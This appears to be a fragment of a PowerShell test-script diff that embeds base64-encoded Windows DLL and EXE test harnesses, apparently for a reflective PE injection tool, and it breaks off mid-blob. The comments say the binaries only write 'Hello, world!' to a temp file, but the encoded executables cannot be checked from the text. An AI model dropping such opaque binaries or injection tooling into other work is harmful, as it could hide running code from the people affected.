AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=='
+ $Encoded32BitStringDll = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADAAAABEwAAAAIAAADAAAABAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=='
+
+ # A bare bones test harness DLL that simply writes "Hello, world!" to %TEMP%\testoutput.txt upon having VoidFunc called
+ $Encoded64BitVoidDll = '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'
+ $Encoded32BitVoidDll = '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'
+
+ # A bare bones test harness EXE that simply writes "Hello, world! (EXE ARGS)" to %TEMP%\testoutput.txt
+ $Encoded64BitExe = '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